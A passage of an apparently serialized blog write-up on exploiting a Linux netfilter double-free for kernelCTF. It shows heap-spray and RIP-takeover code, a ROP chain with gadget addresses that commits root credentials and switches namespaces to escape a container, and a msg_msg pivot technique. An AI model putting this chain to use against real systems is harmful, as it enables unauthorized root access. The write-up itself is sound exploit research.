puts(\"",{"type":23,"tag":141,"props":54936,"children":54937},{"style":154},[54938],{"type":29,"value":2399},{"type":23,"tag":141,"props":54940,"children":54941},{"style":160},[54942],{"type":29,"value":197},{"type":23,"tag":141,"props":54944,"children":54945},{"style":154},[54946],{"type":29,"value":7337},{"type":23,"tag":141,"props":54948,"children":54949},{"style":725},[54950],{"type":29,"value":54951},"Write",{"type":23,"tag":141,"props":54953,"children":54954},{"style":725},[54955],{"type":29,"value":54956}," ROP",{"type":23,"tag":141,"props":54958,"children":54959},{"style":828},[54960],{"type":29,"value":54771},{"type":23,"tag":141,"props":54962,"children":54963},{"class":143,"line":2429},[54964],{"type":23,"tag":141,"props":54965,"children":54966},{"style":828},[54967],{"type":29,"value":54968}," deludata_spray(nl, 3, 1);\n",{"type":23,"tag":141,"props":54970,"children":54971},{"class":143,"line":2459},[54972],{"type":23,"tag":141,"props":54973,"children":54974},{"style":828},[54975],{"type":29,"value":54779},{"type":23,"tag":141,"props":54977,"children":54978},{"class":143,"line":2467},[54979],{"type":23,"tag":141,"props":54980,"children":54981},{"style":828},[54982],{"type":29,"value":54983}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":141,"props":54985,"children":54986},{"class":143,"line":2499},[54987],{"type":23,"tag":141,"props":54988,"children":54989},{"emptyLinePlaceholder":15},[54990],{"type":29,"value":719},{"type":23,"tag":141,"props":54992,"children":54993},{"class":143,"line":2507},[54994],{"type":23,"tag":141,"props":54995,"children":54996},{"style":828},[54997],{"type":29,"value":54998}," // Takeover RIP\n",{"type":23,"tag":141,"props":55000,"children":55001},{"class":143,"line":2567},[55002,55006,55010,55014,55018,55023,55028],{"type":23,"tag":141,"props":55003,"children":55004},{"style":828},[55005],{"type":29,"value":54934},{"type":23,"tag":141,"props":55007,"children":55008},{"style":154},[55009],{"type":29,"value":2399},{"type":23,"tag":141,"props":55011,"children":55012},{"style":160},[55013],{"type":29,"value":197},{"type":23,"tag":141,"props":55015,"children":55016},{"style":154},[55017],{"type":29,"value":7337},{"type":23,"tag":141,"props":55019,"children":55020},{"style":725},[55021],{"type":29,"value":55022},"Takeover",{"type":23,"tag":141,"props":55024,"children":55025},{"style":725},[55026],{"type":29,"value":55027}," RIP",{"type":23,"tag":141,"props":55029,"children":55030},{"style":828},[55031],{"type":29,"value":54771},{"type":23,"tag":141,"props":55033,"children":55034},{"class":143,"line":7724},[55035,55040,55044,55049],{"type":23,"tag":141,"props":55036,"children":55037},{"style":828},[55038],{"type":29,"value":55039}," dump_obj(nl, \"",{"type":23,"tag":141,"props":55041,"children":55042},{"style":449},[55043],{"type":29,"value":54761},{"type":23,"tag":141,"props":55045,"children":55046},{"style":154},[55047],{"type":29,"value":55048},"-1",{"type":23,"tag":141,"props":55050,"children":55051},{"style":828},[55052],{"type":29,"value":54771},{"type":23,"tag":141,"props":55054,"children":55055},{"class":143,"line":7742},[55056],{"type":23,"tag":141,"props":55057,"children":55058},{"style":828},[55059],{"type":29,"value":8998},{"type":23,"tag":8287,"props":55061,"children":55063},{"id":55062},"bypass-context-switch-in-rcu-critical-section",[55064],{"type":29,"value":55065},"Bypass context switch in RCU critical-section",{"type":23,"tag":32,"props":55067,"children":55068},{},[55069,55070,55075],{"type":29,"value":388},{"type":23,"tag":38,"props":55071,"children":55073},{"className":55072},[],[55074],{"type":29,"value":53593},{"type":29,"value":55076}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":32,"props":55078,"children":55079},{},[55080,55082,55089,55091,55097,55099,55105],{"type":29,"value":55081},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":55,"props":55083,"children":55086},{"href":55084,"rel":55085},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[59],[55087],{"type":29,"value":55088},"previous kernelCTF submission",{"type":29,"value":55090}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":38,"props":55092,"children":55094},{"className":55093},[],[55095],{"type":29,"value":55096},"task_struct",{"type":29,"value":55098}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":38,"props":55100,"children":55102},{"className":55101},[],[55103],{"type":29,"value":55104},"__rcu_read_unlock()",{"type":29,"value":55106}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":131,"props":55108,"children":55110},{"className":133,"code":55109,"language":135,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[55111],{"type":23,"tag":38,"props":55112,"children":55113},{"__ignoreMap":7},[55114,55122,55146,55153],{"type":23,"tag":141,"props":55115,"children":55116},{"class":143,"line":144},[55117],{"type":23,"tag":141,"props":55118,"children":55119},{"style":443},[55120],{"type":29,"value":55121}," // ROP stage 1\n",{"type":23,"tag":141,"props":55123,"children":55124},{"class":143,"line":180},[55125,55129,55134,55138,55142],{"type":23,"tag":141,"props":55126,"children":55127},{"style":449},[55128],{"type":29,"value":17748},{"type":23,"tag":141,"props":55130,"children":55131},{"style":154},[55132],{"type":29,"value":55133}," pos ",{"type":23,"tag":141,"props":55135,"children":55136},{"style":160},[55137],{"type":29,"value":1377},{"type":23,"tag":141,"props":55139,"children":55140},{"style":472},[55141],{"type":29,"value":17770},{"type":23,"tag":141,"props":55143,"children":55144},{"style":154},[55145],{"type":29,"value":1684},{"type":23,"tag":141,"props":55147,"children":55148},{"class":143,"line":205},[55149],{"type":23,"tag":141,"props":55150,"children":55151},{"emptyLinePlaceholder":15},[55152],{"type":29,"value":719},{"type":23,"tag":141,"props":55154,"children":55155},{"class":143,"line":218},[55156,55160,55165,55169,55173,55177,55181,55185],{"type":23,"tag":141,"props":55157,"children":55158},{"style":750},[55159],{"type":29,"value":54649},{"type":23,"tag":141,"props":55161,"children":55162},{"style":154},[55163],{"type":29,"value":55164},"[pos",{"type":23,"tag":141,"props":55166,"children":55167},{"style":160},[55168],{"type":29,"value":49748},{"type":23,"tag":141,"props":55170,"children":55171},{"style":154},[55172],{"type":29,"value":7337},{"type":23,"tag":141,"props":55174,"children":55175},{"style":160},[55176],{"type":29,"value":1377},{"type":23,"tag":141,"props":55178,"children":55179},{"style":154},[55180],{"type":29,"value":54670},{"type":23,"tag":141,"props":55182,"children":55183},{"style":160},[55184],{"type":29,"value":3058},{"type":23,"tag":141,"props":55186,"children":55187},{"style":154},[55188],{"type":29,"value":55189}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":8287,"props":55191,"children":55193},{"id":55192},"rop",[55194],{"type":29,"value":54849},{"type":23,"tag":32,"props":55196,"children":55197},{},[55198],{"type":29,"value":55199},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":15362,"props":55201,"children":55202},{},[55203,55214,55225],{"type":23,"tag":120,"props":55204,"children":55205},{},[55206,55212],{"type":23,"tag":38,"props":55207,"children":55209},{"className":55208},[],[55210],{"type":29,"value":55211},"commit_creds(&init_cred);",{"type":29,"value":55213}," Commit root credentials to our process",{"type":23,"tag":120,"props":55215,"children":55216},{},[55217,55223],{"type":23,"tag":38,"props":55218,"children":55220},{"className":55219},[],[55221],{"type":29,"value":55222},"task = find_task_by_vpid(1);",{"type":29,"value":55224}," Find the root process of our namespace",{"type":23,"tag":120,"props":55226,"children":55227},{},[55228,55234],{"type":23,"tag":38,"props":55229,"children":55231},{"className":55230},[],[55232],{"type":29,"value":55233},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":55235}," Move it to the root namespace",{"type":23,"tag":32,"props":55237,"children":55238},{},[55239,55241,55247,55249,55255,55257,55263,55265,55271,55273,55278,55280,55286],{"type":29,"value":55240},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":38,"props":55242,"children":55244},{"className":55243},[],[55245],{"type":29,"value":55246},"find_task_by_vpid(1)",{"type":29,"value":55248}," passed through ",{"type":23,"tag":38,"props":55250,"children":55252},{"className":55251},[],[55253],{"type":29,"value":55254},"rax",{"type":29,"value":55256}," to ",{"type":23,"tag":38,"props":55258,"children":55260},{"className":55259},[],[55261],{"type":29,"value":55262},"rdi",{"type":29,"value":55264},". What I ended up going with was a ",{"type":23,"tag":38,"props":55266,"children":55268},{"className":55267},[],[55269],{"type":29,"value":55270},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":55272}," gadget, that allowed me to push the ",{"type":23,"tag":38,"props":55274,"children":55276},{"className":55275},[],[55277],{"type":29,"value":55254},{"type":29,"value":55279}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":38,"props":55281,"children":55283},{"className":55282},[],[55284],{"type":29,"value":55285},"pop rdi; ret",{"type":29,"value":55287}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":15362,"props":55289,"children":55290},{},[55291,55296,55309],{"type":23,"tag":120,"props":55292,"children":55293},{},[55294],{"type":29,"value":55295},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":120,"props":55297,"children":55298},{},[55299,55301,55307],{"type":29,"value":55300},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":38,"props":55302,"children":55304},{"className":55303},[],[55305],{"type":29,"value":55306},"pop rdi; ret;",{"type":29,"value":55308}," location)",{"type":23,"tag":120,"props":55310,"children":55311},{},[55312,55317],{"type":23,"tag":38,"props":55313,"children":55315},{"className":55314},[],[55316],{"type":29,"value":55285},{"type":29,"value":55318}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":131,"props":55320,"children":55322},{"className":133,"code":55321,"language":135,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[55323],{"type":23,"tag":38,"props":55324,"children":55325},{"__ignoreMap":7},[55326,55333,55350,55395,55431,55467,55474,55482,55525,55556,55592,55637,55692,55737,55744,55752,55795,55831,55867],{"type":23,"tag":141,"props":55327,"children":55328},{"class":143,"line":144},[55329],{"type":23,"tag":141,"props":55330,"children":55331},{"style":154},[55332],{"type":29,"value":8998},{"type":23,"tag":141,"props":55334,"children":55335},{"class":143,"line":180},[55336,55341,55346],{"type":23,"tag":141,"props":55337,"children":55338},{"style":154},[55339],{"type":29,"value":55340}," // commit_creds(&",{"type":23,"tag":141,"props":55342,"children":55343},{"style":750},[55344],{"type":29,"value":55345},"init_cred",{"type":23,"tag":141,"props":55347,"children":55348},{"style":154},[55349],{"type":29,"value":2496},{"type":23,"tag":141,"props":55351,"children":55352},{"class":143,"line":205},[55353,55357,55361,55365,55369,55373,55377,55381,55386,55390],{"type":23,"tag":141,"props":55354,"children":55355},{"style":750},[55356],{"type":29,"value":54649},{"type":23,"tag":141,"props":55358,"children":55359},{"style":154},[55360],{"type":29,"value":55164},{"type":23,"tag":141,"props":55362,"children":55363},{"style":160},[55364],{"type":29,"value":49748},{"type":23,"tag":141,"props":55366,"children":55367},{"style":154},[55368],{"type":29,"value":7337},{"type":23,"tag":141,"props":55370,"children":55371},{"style":160},[55372],{"type":29,"value":1377},{"type":23,"tag":141,"props":55374,"children":55375},{"style":154},[55376],{"type":29,"value":54670},{"type":23,"tag":141,"props":55378,"children":55379},{"style":160},[55380],{"type":29,"value":3058},{"type":23,"tag":141,"props":55382,"children":55383},{"style":472},[55384],{"type":29,"value":55385}," 0xffffffff8112c7c0",{"type":23,"tag":141,"props":55387,"children":55388},{"style":154},[55389],{"type":29,"value":47552},{"type":23,"tag":141,"props":55391,"children":55392},{"style":443},[55393],{"type":29,"value":55394}," // pop rdi; ret;\n",{"type":23,"tag":141,"props":55396,"children":55397},{"class":143,"line":218},[55398,55402,55406,55410,55414,55418,55422,55426],{"type":23,"tag":141,"props":55399,"children":55400},{"style":750},[55401],{"type":29,"value":54649},{"type":23,"tag":141,"props":55403,"children":55404},{"style":154},[55405],{"type":29,"value":55164},{"type":23,"tag":141,"props":55407,"children":55408},{"style":160},[55409],{"type":29,"value":49748},{"type":23,"tag":141,"props":55411,"children":55412},{"style":154},[55413],{"type":29,"value":7337},{"type":23,"tag":141,"props":55415,"children":55416},{"style":160},[55417],{"type":29,"value":1377},{"type":23,"tag":141,"props":55419,"children":55420},{"style":154},[55421],{"type":29,"value":54670},{"type":23,"tag":141,"props":55423,"children":55424},{"style":160},[55425],{"type":29,"value":3058},{"type":23,"tag":141,"props":55427,"children":55428},{"style":154},[55429],{"type":29,"value":55430}," INIT_CRED;\n",{"type":23,"tag":141,"props":55432,"children":55433},{"class":143,"line":227},[55434,55438,55442,55446,55450,55454,55458,55462],{"type":23,"tag":141,"props":55435,"children":55436},{"style":750},[55437],{"type":29,"value":54649},{"type":23,"tag":141,"props":55439,"children":55440},{"style":154},[55441],{"type":29,"value":55164},{"type":23,"tag":141,"props":55443,"children":55444},{"style":160},[55445],{"type":29,"value":49748},{"type":23,"tag":141,"props":55447,"children":55448},{"style":154},[55449],{"type":29,"value":7337},{"type":23,"tag":141,"props":55451,"children":55452},{"style":160},[55453],{"type":29,"value":1377},{"type":23,"tag":141,"props":55455,"children":55456},{"style":154},[55457],{"type":29,"value":54670},{"type":23,"tag":141,"props":55459,"children":55460},{"style":160},[55461],{"type":29,"value":3058},{"type":23,"tag":141,"props":55463,"children":55464},{"style":154},[55465],{"type":29,"value":55466}," COMMIT_CREDS;\n",{"type":23,"tag":141,"props":55468,"children":55469},{"class":143,"line":241},[55470],{"type":23,"tag":141,"props":55471,"children":55472},{"emptyLinePlaceholder":15},[55473],{"type":29,"value":719},{"type":23,"tag":141,"props":55475,"children":55476},{"class":143,"line":262},[55477],{"type":23,"tag":141,"props":55478,"children":55479},{"style":443},[55480],{"type":29,"value":55481}," // task = find_task_by_vpid(1);\n",{"type":23,"tag":141,"props":55483,"children":55484},{"class":143,"line":271},[55485,55489,55493,55497,55501,55505,55509,55513,55517,55521],{"type":23,"tag":141,"props":55486,"children":55487},{"style":750},[55488],{"type":29,"value":54649},{"type":23,"tag":141,"props":55490,"children":55491},{"style":154},[55492],{"type":29,"value":55164},{"type":23,"tag":141,"props":55494,"children":55495},{"style":160},[55496],{"type":29,"value":49748},{"type":23,"tag":141,"props":55498,"children":55499},{"style":154},[55500],{"type":29,"value":7337},{"type":23,"tag":141,"props":55502,"children":55503},{"style":160},[55504],{"type":29,"value":1377},{"type":23,"tag":141,"props":55506,"children":55507},{"style":154},[55508],{"type":29,"value":54670},{"type":23,"tag":141,"props":55510,"children":55511},{"style":160},[55512],{"type":29,"value":3058},{"type":23,"tag":141,"props":55514,"children":55515},{"style":472},[55516],{"type":29,"value":55385},{"type":23,"tag":141,"props":55518,"children":55519},{"style":154},[55520],{"type":29,"value":47552},{"type":23,"tag":141,"props":55522,"children":55523},{"style":443},[55524],{"type":29,"value":55394},{"type":23,"tag":141,"props":55526,"children":55527},{"class":143,"line":293},[55528,55532,55536,55540,55544,55548,55552],{"type":23,"tag":141,"props":55529,"children":55530},{"style":750},[55531],{"type":29,"value":54649},{"type":23,"tag":141,"props":55533,"children":55534},{"style":154},[55535],{"type":29,"value":55164},{"type":23,"tag":141,"props":55537,"children":55538},{"style":160},[55539],{"type":29,"value":49748},{"type":23,"tag":141,"props":55541,"children":55542},{"style":154},[55543],{"type":29,"value":7337},{"type":23,"tag":141,"props":55545,"children":55546},{"style":160},[55547],{"type":29,"value":1377},{"type":23,"tag":141,"props":55549,"children":55550},{"style":472},[55551],{"type":29,"value":3198},{"type":23,"tag":141,"props":55553,"children":55554},{"style":154},[55555],{"type":29,"value":1684},{"type":23,"tag":141,"props":55557,"children":55558},{"class":143,"line":801},[55559,55563,55567,55571,55575,55579,55583,55587],{"type":23,"tag":141,"props":55560,"children":55561},{"style":750},[55562],{"type":29,"value":54649},{"type":23,"tag":141,"props":55564,"children":55565},{"style":154},[55566],{"type":29,"value":55164},{"type":23,"tag":141,"props":55568,"children":55569},{"style":160},[55570],{"type":29,"value":49748},{"type":23,"tag":141,"props":55572,"children":55573},{"style":154},[55574],{"type":29,"value":7337},{"type":23,"tag":141,"props":55576,"children":55577},{"style":160},[55578],{"type":29,"value":1377},{"type":23,"tag":141,"props":55580,"children":55581},{"style":154},[55582],{"type":29,"value":54670},{"type":23,"tag":141,"props":55584,"children":55585},{"style":160},[55586],{"type":29,"value":3058},{"type":23,"tag":141,"props":55588,"children":55589},{"style":154},[55590],{"type":29,"value":55591}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":141,"props":55593,"children":55594},{"class":143,"line":810},[55595,55599,55603,55607,55611,55615,55619,55623,55628,55632],{"type":23,"tag":141,"props":55596,"children":55597},{"style":750},[55598],{"type":29,"value":54649},{"type":23,"tag":141,"props":55600,"children":55601},{"style":154},[55602],{"type":29,"value":55164},{"type":23,"tag":141,"props":55604,"children":55605},{"style":160},[55606],{"type":29,"value":49748},{"type":23,"tag":141,"props":55608,"children":55609},{"style":154},[55610],{"type":29,"value":7337},{"type":23,"tag":141,"props":55612,"children":55613},{"style":160},[55614],{"type":29,"value":1377},{"type":23,"tag":141,"props":55616,"children":55617},{"style":154},[55618],{"type":29,"value":54670},{"type":23,"tag":141,"props":55620,"children":55621},{"style":160},[55622],{"type":29,"value":3058},{"type":23,"tag":141,"props":55624,"children":55625},{"style":472},[55626],{"type":29,"value":55627}," 0xffffffff8102e2a6",{"type":23,"tag":141,"props":55629,"children":55630},{"style":154},[55631],{"type":29,"value":47552},{"type":23,"tag":141,"props":55633,"children":55634},{"style":443},[55635],{"type":29,"value":55636}," // pop rsi; ret;\n",{"type":23,"tag":141,"props":55638,"children":55639},{"class":143,"line":824},[55640,55644,55648,55652,55656,55660,55665,55669,55674,55678,55683,55687],{"type":23,"tag":141,"props":55641,"children":55642},{"style":750},[55643],{"type":29,"value":54649},{"type":23,"tag":141,"props":55645,"children":55646},{"style":154},[55647],{"type":29,"value":55164},{"type":23,"tag":141,"props":55649,"children":55650},{"style":160},[55651],{"type":29,"value":49748},{"type":23,"tag":141,"props":55653,"children":55654},{"style":154},[55655],{"type":29,"value":7337},{"type":23,"tag":141,"props":55657,"children":55658},{"style":160},[55659],{"type":29,"value":1377},{"type":23,"tag":141,"props":55661,"children":55662},{"style":154},[55663],{"type":29,"value":55664}," obj_ptr ",{"type":23,"tag":141,"props":55666,"children":55667},{"style":160},[55668],{"type":29,"value":3058},{"type":23,"tag":141,"props":55670,"children":55671},{"style":472},[55672],{"type":29,"value":55673}," 0xe0",{"type":23,"tag":141,"props":55675,"children":55676},{"style":160},[55677],{"type":29,"value":49734},{"type":23,"tag":141,"props":55679,"children":55680},{"style":472},[55681],{"type":29,"value":55682}," 0x66",{"type":23,"tag":141,"props":55684,"children":55685},{"style":154},[55686],{"type":29,"value":47552},{"type":23,"tag":141,"props":55688,"children":55689},{"style":443},[55690],{"type":29,"value":55691}," // rax -> rdi and resume rop\n",{"type":23,"tag":141,"props":55693,"children":55694},{"class":143,"line":839},[55695,55699,55703,55707,55711,55715,55719,55723,55728,55732],{"type":23,"tag":141,"props":55696,"children":55697},{"style":750},[55698],{"type":29,"value":54649},{"type":23,"tag":141,"props":55700,"children":55701},{"style":154},[55702],{"type":29,"value":55164},{"type":23,"tag":141,"props":55704,"children":55705},{"style":160},[55706],{"type":29,"value":49748},{"type":23,"tag":141,"props":55708,"children":55709},{"style":154},[55710],{"type":29,"value":7337},{"type":23,"tag":141,"props":55712,"children":55713},{"style":160},[55714],{"type":29,"value":1377},{"type":23,"tag":141,"props":55716,"children":55717},{"style":154},[55718],{"type":29,"value":54670},{"type":23,"tag":141,"props":55720,"children":55721},{"style":160},[55722],{"type":29,"value":3058},{"type":23,"tag":141,"props":55724,"children":55725},{"style":472},[55726],{"type":29,"value":55727}," 0xffffffff81caed31",{"type":23,"tag":141,"props":55729,"children":55730},{"style":154},[55731],{"type":29,"value":47552},{"type":23,"tag":141,"props":55733,"children":55734},{"style":443},[55735],{"type":29,"value":55736}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":141,"props":55738,"children":55739},{"class":143,"line":848},[55740],{"type":23,"tag":141,"props":55741,"children":55742},{"emptyLinePlaceholder":15},[55743],{"type":29,"value":719},{"type":23,"tag":141,"props":55745,"children":55746},{"class":143,"line":2304},[55747],{"type":23,"tag":141,"props":55748,"children":55749},{"style":443},[55750],{"type":29,"value":55751}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":141,"props":55753,"children":55754},{"class":143,"line":2313},[55755,55759,55763,55767,55771,55775,55779,55783,55787,55791],{"type":23,"tag":141,"props":55756,"children":55757},{"style":750},[55758],{"type":29,"value":54649},{"type":23,"tag":141,"props":55760,"children":55761},{"style":154},[55762],{"type":29,"value":55164},{"type":23,"tag":141,"props":55764,"children":55765},{"style":160},[55766],{"type":29,"value":49748},{"type":23,"tag":141,"props":55768,"children":55769},{"style":154},[55770],{"type":29,"value":7337},{"type":23,"tag":141,"props":55772,"children":55773},{"style":160},[55774],{"type":29,"value":1377},{"type":23,"tag":141,"props":55776,"children":55777},{"style":154},[55778],{"type":29,"value":54670},{"type":23,"tag":141,"props":55780,"children":55781},{"style":160},[55782],{"type":29,"value":3058},{"type":23,"tag":141,"props":55784,"children":55785},{"style":472},[55786],{"type":29,"value":55627},{"type":23,"tag":141,"props":55788,"children":55789},{"style":154},[55790],{"type":29,"value":47552},{"type":23,"tag":141,"props":55792,"children":55793},{"style":443},[55794],{"type":29,"value":55636},{"type":23,"tag":141,"props":55796,"children":55797},{"class":143,"line":2335},[55798,55802,55806,55810,55814,55818,55822,55826],{"type":23,"tag":141,"props":55799,"children":55800},{"style":750},[55801],{"type":29,"value":54649},{"type":23,"tag":141,"props":55803,"children":55804},{"style":154},[55805],{"type":29,"value":55164},{"type":23,"tag":141,"props":55807,"children":55808},{"style":160},[55809],{"type":29,"value":49748},{"type":23,"tag":141,"props":55811,"children":55812},{"style":154},[55813],{"type":29,"value":7337},{"type":23,"tag":141,"props":55815,"children":55816},{"style":160},[55817],{"type":29,"value":1377},{"type":23,"tag":141,"props":55819,"children":55820},{"style":154},[55821],{"type":29,"value":54670},{"type":23,"tag":141,"props":55823,"children":55824},{"style":160},[55825],{"type":29,"value":3058},{"type":23,"tag":141,"props":55827,"children":55828},{"style":154},[55829],{"type":29,"value":55830}," INIT_NSPROXY;\n",{"type":23,"tag":141,"props":55832,"children":55833},{"class":143,"line":2343},[55834,55838,55842,55846,55850,55854,55858,55862],{"type":23,"tag":141,"props":55835,"children":55836},{"style":750},[55837],{"type":29,"value":54649},{"type":23,"tag":141,"props":55839,"children":55840},{"style":154},[55841],{"type":29,"value":55164},{"type":23,"tag":141,"props":55843,"children":55844},{"style":160},[55845],{"type":29,"value":49748},{"type":23,"tag":141,"props":55847,"children":55848},{"style":154},[55849],{"type":29,"value":7337},{"type":23,"tag":141,"props":55851,"children":55852},{"style":160},[55853],{"type":29,"value":1377},{"type":23,"tag":141,"props":55855,"children":55856},{"style":154},[55857],{"type":29,"value":54670},{"type":23,"tag":141,"props":55859,"children":55860},{"style":160},[55861],{"type":29,"value":3058},{"type":23,"tag":141,"props":55863,"children":55864},{"style":154},[55865],{"type":29,"value":55866}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":141,"props":55868,"children":55869},{"class":143,"line":2352},[55870],{"type":23,"tag":141,"props":55871,"children":55872},{"style":154},[55873],{"type":29,"value":8998},{"type":23,"tag":8287,"props":55875,"children":55877},{"id":55876},"grabbing-the-kernelctf-flag",[55878],{"type":29,"value":55879},"Grabbing the kernelCTF flag",{"type":23,"tag":32,"props":55881,"children":55882},{},[55883,55887,55889,55896],{"type":23,"tag":2591,"props":55884,"children":55886},{"alt":49057,"src":55885},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":55888},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":55,"props":55890,"children":55893},{"href":55891,"rel":55892},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[59],[55894],{"type":29,"value":55895},"GitHub",{"type":29,"value":322},{"type":23,"tag":24,"props":55898,"children":55900},{"id":55899},"universal-exploit",[55901],{"type":29,"value":55902},"Universal exploit",{"type":23,"tag":32,"props":55904,"children":55905},{},[55906],{"type":29,"value":55907},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":8287,"props":55909,"children":55911},{"id":55910},"pivot-capability-using-msg_msg-mlistnext-pointer",[55912],{"type":29,"value":55913},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":32,"props":55915,"children":55916},{},[55917,55919,55925,55927,55932,55934,55940],{"type":29,"value":55918},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":38,"props":55920,"children":55922},{"className":55921},[],[55923],{"type":29,"value":55924},"msg_msg",{"type":29,"value":55926}," object with with ",{"type":23,"tag":38,"props":55928,"children":55930},{"className":55929},[],[55931],{"type":29,"value":53578},{"type":29,"value":55933}," and control the ",{"type":23,"tag":38,"props":55935,"children":55937},{"className":55936},[],[55938],{"type":29,"value":55939},"m_list.next",{"type":29,"value":55941}," pointer.",{"type":23,"tag":131,"props":55943,"children":55945},{"className":133,"code":55944,"language":135,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[55946],{"type":23,"tag":38,"props":55947,"children":55948},{"__ignoreMap":7},[55949,55957,55973,55994,56007,56025,56050,56066,56074,56081,56088,56096,56128],{"type":23,"tag":141,"props":55950,"children":55951},{"class":143,"line":144},[55952],{"type":23,"tag":141,"props":55953,"children":55954},{"style":443},[55955],{"type":29,"value":55956},"/* one msg_msg structure for each message */\n",{"type":23,"tag":141,"props":55958,"children":55959},{"class":143,"line":180},[55960,55964,55969],{"type":23,"tag":141,"props":55961,"children":55962},{"style":449},[55963],{"type":29,"value":8079},{"type":23,"tag":141,"props":55965,"children":55966},{"style":725},[55967],{"type":29,"value":55968}," msg_msg",{"type":23,"tag":141,"props":55970,"children":55971},{"style":154},[55972],{"type":29,"value":1951},{"type":23,"tag":141,"props":55974,"children":55975},{"class":143,"line":205},[55976,55980,55985,55990],{"type":23,"tag":141,"props":55977,"children":55978},{"style":449},[55979],{"type":29,"value":19823},{"type":23,"tag":141,"props":55981,"children":55982},{"style":725},[55983],{"type":29,"value":55984}," list_head",{"type":23,"tag":141,"props":55986,"children":55987},{"style":750},[55988],{"type":29,"value":55989}," m_list",{"type":23,"tag":141,"props":55991,"children":55992},{"style":154},[55993],{"type":29,"value":1684},{"type":23,"tag":141,"props":55995,"children":55996},{"class":143,"line":218},[55997,56002],{"type":23,"tag":141,"props":55998,"children":55999},{"style":449},[56000],{"type":29,"value":56001}," long",{"type":23,"tag":141,"props":56003,"children":56004},{"style":154},[56005],{"type":29,"value":56006}," m_type;\n",{"type":23,"tag":141,"props":56008,"children":56009},{"class":143,"line":227},[56010,56015,56020],{"type":23,"tag":141,"props":56011,"children":56012},{"style":449},[56013],{"type":29,"value":56014}," size_t",{"type":23,"tag":141,"props":56016,"children":56017},{"style":154},[56018],{"type":29,"value":56019}," m_ts;",{"type":23,"tag":141,"props":56021,"children":56022},{"style":443},[56023],{"type":29,"value":56024}," /* message text size */\n",{"type":23,"tag":141,"props":56026,"children":56027},{"class":143,"line":241},[56028,56032,56037,56041,56046],{"type":23,"tag":141,"props":56029,"children":56030},{"style":449},[56031],{"type":29,"value":19823},{"type":23,"tag":141,"props":56033,"children":56034},{"style":725},[56035],{"type":29,"value":56036}," 